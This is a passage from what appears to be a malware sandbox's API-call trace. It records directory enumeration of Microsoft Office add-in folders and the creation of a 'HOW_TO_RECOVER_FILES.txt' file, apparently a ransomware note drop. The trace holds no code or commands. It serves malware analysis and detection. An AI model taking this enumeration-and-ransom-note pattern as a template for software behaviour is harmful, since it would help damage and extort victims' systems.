lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42270, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCELPLUGINCORE.DLL", cAlternateFileName="EXCELP~3.DLL")) returned 1 [0221.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1354e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCELPLUGINDATAPROVIDER.DLL", cAlternateFileName="EXCELP~1.DLL")) returned 1 [0221.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCELPLUGINSHELL.DLL", cAlternateFileName="EXCELP~2.DLL")) returned 1 [0221.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6164f96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31a898, dwReserved0=0x0, dwReserved1=0x0, cFileName="MICROSOFT.DATA.RECOMMENDATION.CLIENT.CORE.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0221.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23428c3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23428c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2984c3b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MICROSOFT.DATA.RECOMMENDATION.COMMON.DLL", cAlternateFileName="MICROS~2.DLL")) returned 1 [0221.170] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe878, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERMAPCLASSIFICATION.DLL", cAlternateFileName="POWERM~1.DLL")) returned 1 [0221.170] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2662a44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2662a44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f072e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x73878, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONCHART.DLL", cAlternateFileName="VISUAL~2.DLL")) returned 1 [0221.170] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb975fdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb975fdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x51688, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONCHARTCOMMON.DLL", cAlternateFileName="VISUAL~4.DLL")) returned 1 [0221.170] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf280, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONCOMMON.DLL", cAlternateFileName="VISUAL~3.DLL")) returned 1 [0221.170] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bce2f5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x291680, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONCONTROL.DLL", cAlternateFileName="VISUAL~1.DLL")) returned 1 [0221.170] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3085a99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3085a99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONDIRECTX.DLL", cAlternateFileName="VIA2F6~1.DLL")) returned 1 [0221.170] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x613fd44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x613fd44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONENGINE.DLL", cAlternateFileName="VI323F~1.DLL")) returned 1 [0221.171] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30070, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONGRAPHICS.DLL", cAlternateFileName="VIF07A~1.DLL")) returned 1 [0221.171] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x305f84a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x305f84a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15670, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFEXTENSIONS.DLL", cAlternateFileName="WPFEXT~1.DLL")) returned 1 [0221.171] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.171] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0221.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed560) returned 1 [0221.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed520) returned 1 [0221.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed620) returned 1 [0221.172] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in", nBufferLength=0x105, lpBuffer=0x206ed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in", lpFilePart=0x0) returned 0x4d [0221.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\*", lpFindFileData=0x206ed340 | out: lpFindFileData=0x206ed340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0221.172] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.173] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x143040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATATRANSFORMERWRAPPER.DLL", cAlternateFileName="DATATR~1.DLL")) returned 1 [0221.173] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42270, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCELPLUGINCORE.DLL", cAlternateFileName="EXCELP~3.DLL")) returned 1 [0221.173] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1354e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCELPLUGINDATAPROVIDER.DLL", cAlternateFileName="EXCELP~1.DLL")) returned 1 [0221.173] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCELPLUGINSHELL.DLL", cAlternateFileName="EXCELP~2.DLL")) returned 1 [0221.173] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6164f96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31a898, dwReserved0=0x0, dwReserved1=0x0, cFileName="MICROSOFT.DATA.RECOMMENDATION.CLIENT.CORE.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0221.173] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23428c3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23428c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2984c3b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MICROSOFT.DATA.RECOMMENDATION.COMMON.DLL", cAlternateFileName="MICROS~2.DLL")) returned 1 [0221.174] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe878, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERMAPCLASSIFICATION.DLL", cAlternateFileName="POWERM~1.DLL")) returned 1 [0221.174] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2662a44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2662a44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f072e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x73878, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONCHART.DLL", cAlternateFileName="VISUAL~2.DLL")) returned 1 [0221.174] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb975fdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb975fdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x51688, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONCHARTCOMMON.DLL", cAlternateFileName="VISUAL~4.DLL")) returned 1 [0221.174] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf280, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONCOMMON.DLL", cAlternateFileName="VISUAL~3.DLL")) returned 1 [0221.174] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bce2f5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x291680, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONCONTROL.DLL", cAlternateFileName="VISUAL~1.DLL")) returned 1 [0221.174] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3085a99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3085a99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONDIRECTX.DLL", cAlternateFileName="VIA2F6~1.DLL")) returned 1 [0221.175] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x613fd44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x613fd44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONENGINE.DLL", cAlternateFileName="VI323F~1.DLL")) returned 1 [0221.175] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30070, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUALIZATIONGRAPHICS.DLL", cAlternateFileName="VIF07A~1.DLL")) returned 1 [0221.175] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x305f84a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x305f84a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15670, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFEXTENSIONS.DLL", cAlternateFileName="WPFEXT~1.DLL")) returned 1 [0221.175] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x305f84a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x305f84a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15670, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFEXTENSIONS.DLL", cAlternateFileName="WPFEXT~1.DLL")) returned 0 [0221.175] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0221.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed560) returned 1 [0221.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed520) returned 1 [0221.177] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ed070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x66 [0221.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed590) returned 1 [0221.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power map excel add-in\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0221.178] GetFileType (hFile=0x82c) returned 0x1 [0221.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed500) returned 1 [0221.178] GetFileType (hFile=0x82c) returned 0x1 [0221.179] WriteFile (in: hFile=0x82c, lpBuffer=0x382bed0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ed658, lpOverlapped=0x0 | out: lpBuffer=0x382bed0*, lpNumberOfBytesWritten=0x206ed658*=0x5d0, lpOverlapped=0x0) returned 1 [0221.180] CloseHandle (hObject=0x82c) returned 1 [0221.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed620) returned 1 [0221.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in", nBufferLength=0x105, lpBuffer=0x206ed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in", lpFilePart=0x0) returned 0x4e [0221.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\*", lpFindFileData=0x206ed340 | out: lpFindFileData=0x206ed340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0221.181] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.181] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x897b914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x897b914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc38b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0221.181] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0221.181] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0221.182] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0221.182] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0221.183] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, 